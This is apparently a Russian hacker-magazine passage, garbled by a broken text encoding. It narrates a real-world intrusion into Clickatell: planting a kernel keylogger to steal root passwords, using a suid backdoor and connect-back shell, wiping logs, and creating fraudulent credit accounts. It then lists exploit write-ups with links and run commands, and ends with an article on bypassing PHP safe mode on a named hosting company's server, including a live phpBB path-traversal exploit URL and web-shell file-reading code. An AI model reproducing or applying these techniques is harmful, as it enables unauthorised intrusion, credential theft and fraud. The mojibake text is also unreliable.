î÷åíü õîòåëîñü ïðîíèêíóòü íà ãëàâíóþ ìàøèíó êîìïàíèè, ïîýòîìó ÿ ðå-
øèë êàêèì-òî îáðàçîì îòëîâèòü ïàðîëü íà ýòîò ñåðâåð.
Â ýòîé ñèòóàöèè ó ìåíÿ áûëà íåõèëàÿ ñâîáîäà âûáîðà: ëèáî âîñïîëüçî-
âàòüñÿ ñíèôåðîì, ëèáî ïðîòðîÿíèòü èñõîäíèêè ssh, èëè ïîñòàâèòü êà-
êîé-íèáóäü øïèîíñêèé ìîäóëü. ß ðåøèë âîñïîëüçîâàòüñÿ òðåòüèì âàðè-
àíòîì, ïîòîìó êàê ïåðâûå äâà ìîãëè âûçâàòü íåñòàíäàðòíóþ ðåàêöèþ
IDS, ðàñïîëàãàþùèõñÿ íà ìàøèíå.
Â êà÷åñòâå ìîäóëÿ èñïîëüçîâàëñÿ íåáåçûçâåñòíûé ïðîåêò vlogger îò THC
(www.thc.org/download.php?t=r&f=vlogger-2.1.1.tar.gz). ß ñêà÷àë åãî è ïîïû-
òàëñÿ óñòàíîâèòü, íî ñèñòåìà îòòîðãëà âðàæåñêèå èñõîäíèêè, ìîòèâèðîâàâ

ýòî íåèçâåñòíûìè ïåðåìåííûìè è ïðî÷åé åðóíäîé. ×åñòíî ñêàçàòü, ÿ íå ïî-
íÿë, ïî÷åìó ýòî ïðîèçîøëî, íî äàæå íå äóìàë ñäàâàòüñÿ. Â òå÷åíèå ïÿòè ìè-
íóò ÿ îòûñêàë ìàøèíêó ñ ïîõîæèì ÿäðîì (2.4.30) è ñîáðàë ìîäóëü íà ñòîðîí-
íåé ñèñòåìå. Â ïðîöåññå ñáîðêè (ñ ïîìîùüþ êîìàíäû vlogctrl), áûë óñòàíîâ-
ëåí óäîáî÷èòàåìûé ðåæèì ëîãèðîâàíèÿ, ïóòü äëÿ ñîõðàíåíèÿ æóðíàëà è ïà-
ðîëü íà íåìåäëåííóþ äåàêòèâàöèþ ìîäóëÿ-øïèîíà. Ïîñëå òîãî, êàê ôàéë
vlogger.o áûë ñîçäàí, ÿ àêêóðàòíî ïåðåíåñ åãî íà WWW-ñåðâåð Êëèêàòåëÿ è
çàäóìàëñÿ î ìàñêèðîâêå. Îöåíèâ àïòàéì ñåðâåðà (à îí ðàâíÿëñÿ 400 äíÿì),
ÿ ðåøèë íå ñòàâèòü ìîäóëü â àâòîçàãðóçêó, òàê êàê ýòî òîëüêî ïðèâëå÷åò
ëèøíåå âíèìàíèå. Ñàì ìîäóëü ÿ ïîìåñòèë â ïàïêó /usr/lib/kernel/2.4.30/mod-
ules/net/networking.o è íåìåäëåííî çàãðóçèë åãî ñ ïîìîùüþ êîìàíäû insmod.
Áåç îñîáûõ íàðåêàíèé ÿäåðíûé ïëàãèí áûë ïîäãðóæåí, à â æóðíàëå ïîÿâè-
ëèñü ïåðâûå çàïèñè îá óñïåøíîì ëîãèðîâàíèè. Óäîâëåòâîðèâøèñü ðàáîòîé
øïèîíà, ÿ ïîäòåð ëèøíèå ëîãè è âðåìåííî âûøåë èç ñèñòåìû.

[ïîëîñà íåóäà÷] Ê âå÷åðó ìíå çàõîòåëîñü ïðîâåðèòü ðàáîòó vlogger'à. 
Ïîïûòàâøèñü àêêóðàòíî çàïóñòèòü áýêäîð, ÿ âêëþ÷èë îæèäàíèå êîííåêòà íà
ïîðò 4444. Îäíàêî ñîåäèíåíèÿ íå ïîñëåäîâàëî. Êàê îêàçàëîñü, àäìèíèñòðà-
òîð óäàëèë connback-øåëë èç êàòàëîãà /usr/bin, à òàêæå ñìåíèë ïàðîëü íà ðó-
òà (îá ýòîì ÿ ïîíÿë ïîçäíåå). Íè÷åãî íå îñòàâàëîñü, êàê çàëèòü øåëë ïî íî-
âîé è çàéòè â ñèñòåìó ïîâòîðíî. Ïîðàçèòåëüíî, íî ìîé suid-áýêäîð îñòàëñÿ
íåòðîíóòûì è ñ åãî ïîìîùüþ ÿ îïÿòü ïîëó÷èë ïðàâà àäìèíèñòðàòîðà :). 

Ñóäÿ ïî âñåìó, tripwire ïðè î÷åðåäíîé ïðîâåðêå âûÿâèëà ïîñ-
òîðîííèé áèíàðíèê, ëèáî àäìèí çàïàëèë ìåíÿ, àíàëèçèðóÿ
ëîãè âõîäà íà ñåðâåð (âñïîìíè, ÿ ðàññêàçûâàë î òîì, ÷òî ïî-
ïûòàëñÿ âîéòè ïîä ðóòîâûì àêêàóíòîì íà äðóãèå ìàøèíû).
Ïîñëå ïåðâûõ ðàçî÷àðîâàíèé, ÿ ïðîâåðèë íàëè÷èå è ðàáîòîñ-
ïîñîáíîñòü vlogger'à. Ïîðàçèòåëüíî, íî ìîäóëü òàêæå íèêòî íå
çàìåòèë, à â ëîãå ïîÿâèëèñü íåñêîëüêî èíòåðåñíûõ çàïèñåé:

passwd root
Password is: PASSWORD

ssh firewall -l root
Password is: PASSWORD2

Òàêèì âîò íåõèòðûì îáðàçîì ÿ ïîëó÷èë ðóòîâûé ïàðîëü íà
ãëàâíóþ ìàøèíó êîìïàíèè. Â êà÷åñòâå ôàåðâîëà èñïîëüçî-
âàëñÿ ñòàíäàðòíûé iptables â êîìïëåêòå ñ äîïîëíåíèåì patch-
o-matic. Ñ ïîìîùüþ ïîñëåäíåãî è ðåàëèçîâûâàëèñü ôóíê-
öèè ñðåäíåãî ðàñïðåäåëåíèÿ çàïðîñîâ ïî WWW-ñåðâåðàì.

[âòîðîé óäàð íèæå ïîÿñà] Ðàçîáðàâøèñü â èåðàðõèè
ñåðâåðîâ è â ïðàâèëàõ ôàéðâîëà, ÿ ðåøèë ïîðàäîâàòü ñå-
áÿ è áëèæíèõ è ñîçäàòü ïàðî÷êó àíëèìèòíûõ àêêàóíòîâ.
Äàìïû Êëèêàòåëåâñêîé áàçû ðàñïîëàãàëèñü ó ìåíÿ íà ìà-
øèíå, ïîýòîìó ÷åðåç íåñêîëüêî ìèíóò ÿ âñïîìíèë, êàêèì
îáðàçîì ñâÿçûâàþòñÿ òàáëèöû balance, user è person. Çà-
òåì ìíîé áûëè ñîçäàíû òðè àêêàóíòà äëÿ Messenger PRO
ñ 10000 êðåäèòàìè íà êàæäîì, êîòîðûìè ÿ ïîëüçóþñü è ïî
ñåé äåíü. À íåäîáðûå àäìèíèñòðàòîðû äî ñèõ ïîð íå ìîãóò
çàëàòàòü îøèáêó â ïóáëè÷íîì ñêðèïòå è îïðåäåëèòü íàëè-
÷èå øïèîíñêèõ ìîäóëåé óæå íà òðåõ ñâîèõ ñåðâåðàõ...

âðåìÿ ïðîõîäèò, áàãè îñòàþòñÿ

ñïèñîê ïðîöåññîâ íà WWW-ñåðâåðå

ñòðóêòóðà ñåòè Clickatell

×ÒÎ ÏÏÎÌÎÃËÎ ÌÌÍÅ ÏÏÐÈ ÂÂÇËÎÌÅ?

1 Ïîèñê äîïîëíèòåëüíîé èíôîðìàöèè, àíàëèç êîíôèãîâ è êà-
òàëîãîâ ïîìîã ïîëó÷èòü ïðàâà root â ïðàêòè÷åñêè íåóÿçâèìîé
ñèñòåìå.
2 Ñáîðêà ìîäóëÿ íà ñòîðîííåé ìàøèíå ñ ïîäîáíîé êîíôèãó-
ðàöèåé çäîðîâî ïîìîãëà ìíå ïåðåõâàòèòü ïàðîëü ñóïåðïîëüçî-
âàòåëÿ.
3 Èíîãäà ïîëåçíî ñîõðàíÿòü áýêàïû ñêðèïòîâ ó ñåáÿ íà êîìïü-
þòåðå. Êàê âèäèøü, îíè ìíå çäîðîâî ïðèãîäèëèñü ;).



W2K P�N�P REMOTE EXPLOIT
[îïèñàíèå] Êàê ýòî íå ïå÷àëüíî, âî âñåõ ñåð-
âèñàõ ðàíî èëè ïîçäíî íàõîäÿò îøèáêè. È íå-
âàæíî â êàêîé îïåðàöèîííîé ñèñòåìå ýòè
ñëóæáû æèâóò. Íà ýòîò ðàç áàã íàøåëñÿ â ñòà-
ðîé êàê ìèð ñëóæáå Plug and Play. Îíà èñïîëü-
çóåòñÿ ïðè óñòàíîâêå íîâîãî îáîðóäîâàíèÿ, ïî-
ýòîìó, êàê ïðàâèëî, âêëþ÷åíà âî âñåõ ñèñòå-
ìàõ. Ìåòîäîì ïðîá è îøèáîê áàãîèñêàòåëè
íàøëè áðåøü â ñåðâèñå, êîòîðàÿ ïîçâîëÿëà ïå-
ðåïîëíèòü ñòåê è âûïîëíèòü ïðîèçâîëüíûé êîä
ïîä àêêàóíòîì LocalSystem. Ýòà ñëóæáà äîñòóï-
íà ÷åðåç èìåíîâàííûå êàíàëû (PIPE) ïî 445
ïîðòó, ïîýòîìó ëþáîé óäàëåííûé ïîëüçîâàòåëü
ñïîñîáåí ñîêðóøèòü Windows 2000.
Ýêñïëîéò íàïèñàí íà ÿçûêå C è íîðìàëüíî
êîìïèëèòñÿ êàê ïîä âèíäîé, òàê è ïîä Unix. Â
êà÷åñòâå ïàðàìåòðîâ âûñòóïàåò host è port, íà
êîòîðîì çàïóñêàåòñÿ ñèñòåìíûé øåëë.

[çàùèòà] Êàê îáû÷íî, Microsoft îïåðàòèâíî
îòðåàãèðîâàëà íà äûðêó â ñëóæáå è ïîñïåøèëà
çàùèòèòü ñâîèõ êëèåíòîâ. Â èòîãå ìû ìîæåì
ëèöåçðåòü ñòðàíèöó www.microsoft.com/tech-
net/security/Bulletin/MS05-039.mspx ñ âíóøè-
òåëüíûì ñïèñêîì ïàò÷åé äëÿ âñåõ Windows-
like-ñèñòåì.

[cñûëêè] Çàáèðàé ýêñïëîéò c www.xakep.ru/post/
27697/default.asp. Áîëåå ïîäðîáíîå òåõíè÷åñêîå
îïèñàíèå îøèáêè ìîæíî ïðî÷èòàòü òóò: www.secu-
ritylab.ru/vulnerability/source/212016.php.

[çëîêëþ÷åíèå] Â Win2003 è WinXP ïðîãðàì-
ìèñòû äîáàâèëè àóòåíòèôèêàöèþ, ïîýòîìó
âíåäðèòüñÿ â ñèñòåìó ïîä NULL ñåññèåé íå
óäàñòñÿ. Îäíàêî âûïóùåííûé ýêñïëîéò ÿâëÿåò-
ñÿ âïîëíå ñíîñíûì ëîêàëüíûì ñðåäñòâîì íà-
ïàäåíèÿ äëÿ âûøåïåðå÷èñëåííûõ ñèñòåì :).

[greets] Àâòîð ýêñïëîéòà ñ íèêîì houseofd-
abus íå ðàç èññëåäîâàë è ïðàêòè÷åñêè ëîìàë
ñåðâèñû â WinNT-ñèñòåìàõ. Íàäååìñÿ, ÷òî åãî
ýêñïëîéò áóäåò íå ïîñëåäíèì øåäåâðîì :).

XOOPS <= 2.0.11 SQL-INJECTION
[îïèñàíèå] PHP-äâèæêè è ìîäóëè âñåãäà
ñëàâèëèñü ñâîèìè îøèáêàìè. Â êîíöå èþëÿ îá-
íàðóæèëîñü íàëè÷èå ìíîæåñòâåííûõ áàãîâ â
ìîäóëå XML-RPC (SQL-èíæåêöèè, âûïîëíåíèå
PHP-êîäà). Êàê ýòî îáû÷íî áûâàåò, ïîäðîáíîñ-
òè îøèáêè íå ñîîáùàëèñü. Ñïóñòÿ íåäåëþ âû-
øåë ïåðâûé ýêñïëîéò äëÿ êàêîãî-òî äâèæêà,
èñïîëüçîâàâøåãî ìîäóëü, è ïîíåñëîñü... Êàê
îêàçàëîñü ìíîãî ôîðóìîâ èñïîëüçóþò XML-
RPC, òàê êàê ýòî î÷åíü óäîáíîå ñðåäñòâî :). È
âîò íå òàê äàâíî ðóññêàÿ õàê-ãðóïïà RST âûïóñ-
òèëà óáèéñòâåííûé ýêñïëîéò äëÿ èçâåñòíîãî
ôîðóìà xoops. Ñïëîèò ïîçâîëÿåò ïðîñìàòðè-
âàòü õýøè ïàðîëåé àäìèíèñòðàòîðîâ ïîñðåä-
ñòâîì íåõèòðîé SQL-èíúåêöèè.
Çàïóñêàòü ýêñïëîéò ñëåäóåò ñ äâóìÿ ïàðàìåòðà-
ìè: -u http://xoops.com/forum -n user_name, ãäå
user_name � çàðåãèñòðèðîâàííûé íèê ïîëüçî-

âàòåëÿ. Ïîñëå ìîäèôèêàöèè cookies ìîæíî
çàéòè ïîä ýòèì ïîëüçîâàòåëåì â àäìèíêó è âû-
ïîëíèòü ïðîèçâîëüíûé êîä ÷åðåç áàæíûå àä-
ìèíèñòðàòèâíûå øàáëîíû. Íî ýòî óæå ñîâñåì
äðóãàÿ èñòîðèÿ :).

[çàùèòà] ×òîáû çàùèòèòüñÿ îò îøèáêè íóæíî
îáíîâèòü âåðñèþ PHP. Â äàííûé ìîìåíò îáíîâ-
ëåííûå ðåëèçû ìîæíî ñêà÷àòü íà www.php.net.

[cñûëêè] Ñêà÷àòü ýêñïëîéò ìîæíî ïî àäðåñó
http://rst.void.ru/download/r57xoops.txt. Íà ñàéòå
rst.void.ru òû ìîæåøü íàéòè è äðóãèå õîðîøèå
òâîðåíèÿ îò ðóññêèõ ðåáÿò.

[çëîêëþ÷åíèå] Ìîäóëü XML-RPC èñïîëüçó-
åòñÿ âî ìíîãèõ ïðîåêòàõ, è, êàê ñëåäñòâèå, óÿç-
âèìîñòü ïîñåëèëàñü â äåñÿòêàõ ðàñêðó÷åííûõ
ïðîäóêòàõ. Ïîêà ÷òî ýêñïëîéòû äëÿ íèõ íå
âûøëè, íî íàäåæäà óìèðàåò ïîñëåäíåé :). 

[greets] Êîìàíäà RST âûïóñòèëà î÷åíü ìíîãî
õîðîøèõ ýêñïëîéòîâ, è âñå îíè, êàê ïðàâèëî,
íàöåëåíû íà ðàçëè÷íûå ôîðóìû è äâèæêè.

WIN XP SP2 'RDPWD.SYS' 
REMOTE KERNEL DOS
[îïèñàíèå] Åùå â íà÷àëå ëåòà ÿ ïîëó÷èë óâå-
äîìëåíèå î òîì, ÷òî â ïðîòîêîëå RDP íàéäåíà
ôàòàëüíàÿ îøèáêà. Íî çà íåèìåíèåì ýêñïëîé-
òîâ è ïîäðîáíîñòåé, ÿ îñîáî íå çàìîðà÷èâàëñÿ
ýòîé ïðîáëåìîé. Êàê îêàçàëîñü, äåéñòâèòåëü-
íî, ñåðâèñ íå çàñòðàõîâàí îò ïåðåïîëíåíèÿ áó-
ôåðà, à â èäåàëüíîì ñëó÷àå çëîóìûøëåííèê
ìîæåò âûïîëíèòü ïðîèçâîëüíûé êîä. Ïåðâûé
âûïóùåííûé ýêñïëîéò ðàáîòàåò, êàê DoS�åð, è
òîëüêî â ñèñòåìå WinXP+SP2. Â äðóãèõ ñèñòå-
ìàõ ëèáî ïðîñòî íåò óÿçâèìîñòè, ëèáî àâòîð
ýêñïëîéòà ïîêà íå îïóáëèêîâûâàåò åå.
Ñïëîéò íàïèñàí íà ÿçûêå Spike. Ýòî ñêðèïòî-
âûé ÿçûê, ïðèìåíÿåìûé äëÿ ïåðåäà÷è äâîè÷-
íûõ äàííûõ ïî ïðîòîêîëó TCP. Ïîýòîìó ïðåæ-
äå ÷åì òåñòèðîâàòü ýêñïëîéò, óñòàíîâè Spike
(http://www.immunitysec.com/downloads/SPIKE2.

9.tgz), à çàòåì çàïóñòè åãî ñ ïàðàìåòðîì ôàé-
ëà, â êîòîðîì ðàñïîëîæåíû êîâàðíûå ïîñëåäî-
âàòåëüíîñòè, íàïðèìåð, òàê: ./generic_send_tcp
192.168.1.100 3389 remoteass.spk 1 0
Â èòîãå òû äîëæåí ïîëó÷èòü îòêàç â îáñëóæè-
âàíèè è àâàðèéíûé ðåáóò.

[çàùèòà] Ïîëíûé êîìïëåêò ïàò÷åé îò Microsoft
òû ìîæåøü íàéòè íà ñòðàíèöå www.securitylab.ru/
vulnerability/205980.php.

[cñûëêè] Ýêñïëîéò íàõîäèòñÿ çäåñü: www.xak-
ep.ru/post/27672/default.asp. Ïðåæäå ÷åì èñïû-
òûâàòü åãî íà äîâåðåííîé ñèñòåìå, óáåäèñü,
÷òî õðþøêà ñîáðàíà ñî âòîðûì ñåðâèñïàêîì. Â
ïðîòèâíîì ñëó÷àå íè÷åãî ëîìàòüñÿ íå áóäåò :).

[çëîêëþ÷åíèå] Ïðîòîêîë RDP ïðèçâàí áûòü
ëó÷øèì ñðåäñòâîì óïðàâëåíèÿ â WinXP. Ïîý-
òîìó âî ìíîãèõ ñèñòåìàõ ïîðò 3389 áóäåò âñåã-
äà îòêðûò äëÿ íåïðîøåííûõ ãîñòåé. Åñëè ïðåä-
ïîëîæèòü, ÷òî ñëåäóþùèé ðåëèç áóäåò âûïîë-
íÿòü ëþáûå êîìàíäû ïîä àêêàóíòîì System, òî
äàííàÿ áðåøü áóäåò íè÷óòü íå õóæå êàêîé-íè-
áóäü RPC-DCOM èëè Lsass-äûðêè.

[greets] Ýêñïëîéò çàïàòåíòîâàí íà èìÿ Tom Ferris
(tommy@security-protocols.com). Ïîæåëàåì Òîìó âû-
ïóñòèòü âòîðîé ðåëèç, ñïîñîáíûé âûïîëíÿòü êîä íà
ïðîèçâîëüíîé ñèñòåìå (è íå òîëüêî â WinXP+SP2).

Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)
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[êóðñ ìîëîäîãî áîéöà] Èòàê, âî-ïåðâûõ, ÷òî æå òàêîå PHP SAFE
MODE? Êàê íàïèñàíî â ìàíóàëå � ýòî «ïîïûòêà ðåøèòü ïðîáëåìó áå-
çîïàñíîñòè». Ãîâîðÿ æå ïðîñòûì ÿçûêîì, ýòî óêàçàíèå íåêîòîðûõ âàæ-
íûõ äèðåêòèâ php èíòåðïðåòàòîðà â ôàéëå íàñòðîåê, êîòîðûå äîëæíû
ïîìåøàòü âçëîìùèêó ïðîíèêíóòü â ñèñòåìó, ëèáî îòïóãíóòü åãî. Òàêèõ
äèðåêòèâ äîâîëüíî ìíîãî. Äàâàé îçíàêîìèìñÿ ñ íåêîòîðûìè èç íèõ:

* safe_mode_gid=1|0.  Ñòðîêà âêëþ÷àåò ñðàâíåíèå gid'îâ âëàäåëüöà ôàéëà è âëà-
äåëüöà âûïîëíÿåìîãî ñêðèïòà, è, â ñëó÷àå íåñîâïàäåíèÿ, çàïðåùàåò äîñòóï
ñêðèïòà ê ôàéëó. Íàïðèìåð, åñëè òû ïîïðîáóåøü ïðî÷èòàòü ôàéë ïàðîëåé read-
file('/etc/passwd'), à îí ïðèíàäëåæèò ðóòó, òî óâèäèøü ñîîáùåíèå îá îøèáêå.

À ìû òåì âðåìåíåì ïîïðîáóåì íàó÷èòüñÿ îáõîäèòü õîòÿ áû ÷àñòü èç
ýòèõ ñòðîãèõ îãðàíè÷åíèé. Êîíå÷íî, íà ïðèìåðå ðåàëüíîãî õîñòèíãà.

[íåçàìåíèìàÿ ïðàêòèêà] Äëÿ ñâîèõ òåñòîâ ÿ âûáðàë íå ïðîñòî îáû÷-
íîãî ISP, à õîñòèíãîâûé ñåðâåð îäíîé èç ñàìûõ óâàæàåìûõ è èçâåñòíûõ óê-
ðàèíñêèõ êîìïàíèé ñ áîëüøèì êîëè÷åñòâîì ñåðâåðîâ è ìîùíîé ñëóæáîé
ïîääåðæêè. Ïîýòîìó âñå, ÷òî ÿ îïèøó äàëåå, ñïðàâåäëèâî äëÿ áîëüøåé ÷àñ-
òè îñòàëüíûõ õîñòåðîâ. Òàê æå ñëåäóåò îòìåòèòü, ÷òî ýêñïåðèìåíòû ÿ ïðî-
âîäèë è íà çàðóáåæíûõ õîñòèíãàõ, è âñå îïèñàííûå â ýòîé ñòàòüå ïðèåìû
óñïåøíî ôóíêöèîíèðîâàëè è òàì. Íî íå áóäó çàáåãàòü âïåðåä.
Âîîáùå, âñÿ ýòà èñòîðèÿ íà÷àëàñü ïàðó ìåñÿöåâ íàçàä, êîãäà ìíå çàõî-
òåëîñü íàäëîìèòü ñåðâåð êàê ðàç ýòîé óêðàèíñêîé õîñòèíãîâîé êîìïà-
íèè, î êîòîðîé ïîéäåò ðå÷ü íèæå. Ïîñëå íåäîëãèõ ïîèñêîâ áàæíûõ php-
ñöåíàðèåâ, ÿ íàòêíóëñÿ íà áàíàëüíûé íåïðîïàò÷åííûé è âñåìè ëþáè-

Ìåòîäû îáõîäà 
îãðàíè÷åíèé PHP safe mode

* open_basedir=/èìÿ/äèðåêòîðèè. Äîâîëüíî ïîäëàÿ äèðåêòèâà :). Åñëè
òâîé ñêðèïò ïûòàåòñÿ ïðî÷åñòü ôàéë âíå óêàçàííîé äèðåêòîðèè (íàïðè-
ìåð, ñ ïîìîùüþ fopen() èëè file()), òî ïîÿâëÿåòñÿ îøèáêà, âðîäå
open_basedir restriction in effect. Õîòÿ ìîæíî ïîïûòàòüñÿ ïðî÷åñòü ôàéë
íà êàòàëîã âûøå � âîçìîæíî, èç ýòîé çàòåè ÷òî-òî âûéäåò.
* safe_mode_exec_dir=/èìÿ/äèðåêòîðèè. Ñêðèïò íàïðî÷ü îòêàçûâàåòñÿ
âûïîëíÿòü ñèñòåìíûå ïðîãðàììû, êîòîðûå íàõîäÿòñÿ çà ïðåäåëàìè
ýòîé ïàïêè. Ñëåäîâàòåëüíî, åñëè ñöåíàðèé ëåæèò â /usr/home/deep/ass,
òî âûïîëíèòü system(/bin/ls) íå áóäåò íèêàêîé âîçìîæíîñòè. 
* disable_functions="èìÿ ôóíêöèè". Ýòî î÷åíü æåñòêàÿ äèðåêòèâà, êî-
òîðàÿ ïîçâîëÿåò àäìèíèñòðàòîðó îòêëþ÷èòü îïðåäåëåííûå ôóíêöèè.
Êàê òû äîãàäàëñÿ, îáû÷íî â ÷åðíûé ñïèñîê ïîïàäàþò ïîòåíöèàëüíî
îïàñíûå system(), exec(), passthru() è popen(). Õîòÿ åñòü ìàëåíüêàÿ
õèòðîñòü, êîòîðàÿ âñå-òàêè ïîçâîëÿåò èñïîëíÿòü êîìàíäû â îïåðàöè-
îíêå, íî ýòî ìû åùå îáñóäèì ÷óòü íèæå. Ñëåäóåò îòìåòèòü, ÷òî dis-
able_functions ðåøèëà ïðîáëåìó, êîòîðóþ íå äîðåøàëà ïðåäûäóùàÿ
äèðåêòèâà: âçëîìùèê òåïåðü íàïðî÷ü ëèøåí âîçìîæíîñòè âûïîëíÿòü
ñèñòåìíûå êîìàíäû. Êàê òû ïîíèìàåøü, web-øåëë â òàêèõ óñëîâèÿõ
ôóíêöèîíèðîâàòü íå áóäåò è âûïîëíÿòü êîìàíäû ïðèâû÷íûì sys-
tem($_GET['cmd') íå ïîëó÷èòñÿ.
Âîò îñíîâíûå ïðîáëåìû, c êîòîðûìè òåáå ïðèäåòñÿ âñòðåòèòüñÿ ïðè ðà-
áîòå ñ ìàøèíêîé, ãäå PHP êðóòèòñÿ â çàùèùåííîì ðåæèìå. ×òîáû ïîëó-
÷èòü áîëüøå èíôîðìàöèè î äèðåêòèâàõ è íàñòðîéêàõ PHP, òåáå ñëåäóåò
îáðàòèòüñÿ ê îôèöèàëüíîé äîêóìåíòàöèè, èíòåðåñíûå âûäåðæêè èç êî-
òîðîé òû íàéäåøü íà íàøåì äèñêå, à öåëèêîì åå ïî÷èòàòü òåáå óäàñòñÿ
íà ñàéòå www.php.net.

Ïîäíèìàåì
æåëåçíûé ççàíàâåñ

Php Safe Mode

ÂÑÅ ÑÒÀÍÄÀÐÒÍÛÅ ÑÕÅÌÛ ÏÐÎÍÈÊÍÎÂÅÍÈß ÍÀ
ÍÅÏÐÈßÒÅËÜÑÊÈÅ ÑÀÉÒÛ ÓÆÅ ÄÀÂÍÎ ÈÇÂÅÑÒÍÛ.
ßÄÎÂÈÒÛÉ ÍÎËÜ, PHP-INCLUDE, SQL-INJECTION �
ÈÌÈ ÍÅ ÓÄÈÂÈØÜ ÄÀÆÅ ÏÎÑÒÎßÍÍÛÕ ÏÎÑÅÒÈÒÅ-
ËÅÉ ÄÅÒÑÊÎÃÎ ÑÀÄÀ. ÏÎËÓ×ÈÂ ÍÀ ÓÄÀËÅÍÍÎÌ ÑÅÐ-
ÂÅÐÅ ÂÎÇÌÎÆÍÎÑÒÜ ÂÛÏÎËÍßÒÜ ÊÎÌÀÍÄÛ,
ÂÇËÎÌÙÈÊÈ ÑÏÅØÀÒ ÇÀËÈÒÜ ÓÄÎÁÍÛÉ PHP-ØÅËË,
ÊÎÒÎÐÛÕ ÑÅÉ×ÀÑ ÐÀÇÂÅËÎÑÜ ÎÃÐÎÌÍÎÅ ÌÍÎÆÅ-
ÑÒÂÎ � ÎÄÈÍ ÊÐÀÑÈÂÅÅ È ßÐ×Å ÄÐÓÃÎÃÎ. ÍÅ ÑÏÎ-
ÐÞ, ÈÑÏÎËÜÇÎÂÀÍÈÅ WEB-ÎÁÎËÎ×ÅÊ ÓÏÐÎÙÀÅÒ
ÄÀËÜÍÅÉØÅÅ ÏÐÎÄÂÈÆÅÍÈÅ. ÍÎ ÈÍÎÃÄÀ ÑËÓ×ÀÅÒ-
Ñß ÄÎÂÎËÜÍÎ ÏÅ×ÀËÜÍÎÅ ßÂËÅÍÈÅ, ÊÎÃÄÀ
PHP_SHELL ÍÅ ÂÛÏÎËÍßÅÒ ÊÎÌÀÍÄÛ, ÈÍÊËÓÄÈÒÜ
ÔÀÉËÛ ÍÀ ÑÅÐÂÅÐÅ ÍÅ ÏÎËÓ×ÀÅÒÑß, È ÂÎÇÍÈÊÀÅÒ
ÌÎÐÅ ÎØÈÁÎÊ. ÝÒÎ È ÅÑÒÜ ÎÍ � ÓÆÀÑÍÛÉ
PHP_SAFE_MODE. ÌÍÎÃÈÅ Â ÒÀÊÈÕ ÑËÓ×ÀßÕ ÏÐÎÑ-
ÒÎ ÎÏÓÑÊÀÞÒ ÐÓÊÈ, ÑÑÛËÀßÑÜ ÍÀ ÏËÎÕÓÞ ÏÎÃÎ-
ÄÓ Â ßÏÎÍÈÈ, ÍÎ ÌÛÑËÜ ÕÀÊÅÐÎÂ ÍÅ ÑÒÎÈÒ ÍÀ
ÌÅÑÒÅ. ÎÍÈ ÍÀÓ×ÈËÈÑÜ ÎÁÕÎÄÈÒÜ ÁÅÇÎÏÀÑÍÛÉ
ÐÅÆÈÌ Â PHP | Àëåêñàíäð Ëþáèìîâ aka Sashiks ( real_sshx@mail.ru )
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Íàñòàëî âðåìÿ çàíÿòüñÿ íàïèñàíèåì
ñêðèïòîâ. Âîò ÷òî íàì íóæíî â ïåð-
âóþ î÷åðåäü:

1 Íàâèãàöèÿ ïî ñåðâåðíîé ôàé-
ëîâîé ñèñòåìå

2 ×òåíèå ôàéëîâ

3 Çàïèñü/çàãðóçêà ôàéëîâ

Äëÿ íà÷àëà, ïîæàëóé, õâàòèò. Ïîå-
õàëè. Ñàìûì ëåãêèì ñêðèïòîì èç
íàøåé êîëëåêöèè áóäåò ïðèìèòèâ-
íàÿ ÷èòàëêà ôàéëîâ:

<?php
echo nl2br(htmlspecialchars(implode
('', file('filename')));
?>

Çäåñü filename, êàê è ñëåäîâàëî
áû îæèäàòü, � èìÿ ÷èòàåìîãî
ôàéëà. Êñòàòè, õî÷ó ñêàçàòü, ÷òî
îäíè è òå æå çàäà÷è ìîæíî ðå-
øàòü ðàçíûìè ñïîñîáàìè. Íèêòî
íå ìåøàåò òåáå îòêðûâàòü ôàéë
ôóíêöèÿìè include(), require(), file(),
à ÷èòàòü èç ñòàíäàðòíîãî fopen()-
õýíäëà ïðè ïîìîùè fread(), fgets()
èëè fgetc(). Òàêèì îáðàçîì, äàæå åñ-
ëè îäíà èç ýòèõ ôóíêöèé îêàæåòñÿ
â ÷åðíîì ñïèñêå çàïðåùåííûõ âû-
çîâîâ, ñêîðåå âñåãî, íàéäåòñÿ ðà-
áîòàþùèé àíàëîã. Òàê ÷òî åñëè êà-
êàÿ-òî ôóíêöèÿ íå ðàáîòàåò, ñëå-
äóåò îáðàòèòüñÿ ê äîêóìåíòàöèè è
ïðîéòèñü ïî âñåìó ñïèñêó see also.
Òåïåðü, ÷òîáû ïðî÷èòàòü, íàïðèìåð,
ôàéë /etc/hosts, òîïàåì íà www.fakin.
farlep.net/path/to/eval_shell.php è âñòàâëÿåì â ôîðìó íàø êîä, íî áåç php-òý-
ãîâ (<? è ?>), ñîäåðæàíèå ôàéëà äîëæíî óñïåøíî îòîáðàçèòüñÿ. Ïîïóò-
íî ìîæíî óçíàòü îïåðàöèîíêó, êîòîðàÿ êðóòèòñÿ íà ñåðâåðå � äëÿ ýòîãî
åñòü ñïåöèàëüíàÿ ôóíêöèÿ php_uname. Òû âñå ïðàâèëüíî ïîíÿë, ìîæíî
áóäåò áûñòðåíüêî óçíàòü , ÷òî òàì ñòîèò *BSD è áåç ðàçäóìèé îòêàçàòü îò

ìûé phpBB 2.0.11. Çàêà÷àâ è çàïóñòèâ ñïëîèò (http://unixforge.org/~sshx/x/
phpbb.exe), êîòîðûé, ïî èäåå, äàåò ïðàâî âûïîëíÿòü ïðîèçâîëüíûé php-
êîä íà öåëåâîé ñèñòåìå, ÿ ïîëó÷èë â îòâåò ñëåäóþùåå:

http://fakin.farlep.net/forum/admin/admin_styles.php?mode=addnew&install_t
o=../../../../../../../../../../../../../../../../../../../tmp&nigga=phpinfo();&
sid=5d9732ae67ed3b6657fc909c10e5f4b4

Îäíàêî, áûëî îäíî íî. Âìåñòî îæèäàåìîãî âûâîäà phpinfo() âûâåëàñü
îøèáêà: Warning: phpinfo() has been disabled for security reasons. Êàê âû-
ÿñíèëîñü ÷óòî÷êó ïîçæå, ñèñòåìíûå ôóíêöèè âûïîëíÿòü áûëî òîæå íåëü-
çÿ, è ñèòóàöèÿ áûëà äîâîëüíî íåïðèÿòíàÿ, ÷òî ãîâîðèòü. Îäíàêî èìåííî
îíà çàñòàâèëà ìåíÿ èñêàòü çàìåíó ñòàíäàðòíûì ñïîñîáàì îáùåíèÿ ñåð-
âåðà ÷åðåç system(). Èòàê, äàâàé âûÿñíèì ÷òî ìû èìååì: ñèñòåìíûå êî-
